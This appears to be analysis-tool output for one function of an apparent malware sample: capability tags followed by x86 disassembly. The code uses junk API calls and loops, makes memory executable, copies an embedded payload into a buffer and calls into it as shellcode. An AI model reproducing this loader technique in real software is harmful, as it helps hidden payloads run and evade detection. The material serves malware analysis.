Function at 0x403cc3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403cf0
inc edi
cmp edi, 0x67d12
jl 0x403cd3
cmp dword [0x281aac4], 0x93
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
jne 0x403daf
push 0x403814
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403860
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x40382c
push 0x4038a8
push 0x403900
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x403954
push esi
call fcn.004048d7
push esi
call fcn.004042f4
push esi
push esi
call fcn.004047e0
push esi
push esi
call fcn.004048ee
push esi
call fcn.00404d1a
push esi
push esi
call fcn.004042c8
add esp, 0x28
mov eax, dword [0x42cc2c]
add dword [0x281aac4], 0x1134b
push 0x403958
mov dword [0x281b900], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x403968
push eax
mov dword [0x281a554], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x281aac4]
mov dword [0x281a548], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x281aac4]
mov dword [0x281a550], eax
push eax
call dword [0x281a548]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x403e0e
cmp dword [0x281aac4], esi
jbe 0x403e92
mov eax, dword [0x281b900]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x281a550]
mov byte [ecx + edi], al
cmp dword [0x281aac4], 0x490
jne 0x403e89
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x281aac4]
jb 0x403e3c
xor edi, edi
mov eax, dword [0x281aac4]
add eax, edi
cmp eax, 0x8d
jne 0x403ecf
push esi
lea eax, [ebp - 0x408]
push eax
push esi
push 0x403978
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call ebx
push 0x40397c
push 0x403994
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x403e94
call fcn.00403beb
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403efd
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x6238
mov eax, dword [ebp - 4]
add dword [0x281a550], eax
inc edi
cmp edi, 0x674bd
jl 0x403edf
push 0x7b
pop edi
cmp dword [0x281aac4], 0x86
jne 0x403f45
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4039b4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x403f09
push 0x4039ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x281a550]
pop edi
pop esi
pop ebx
leave
ret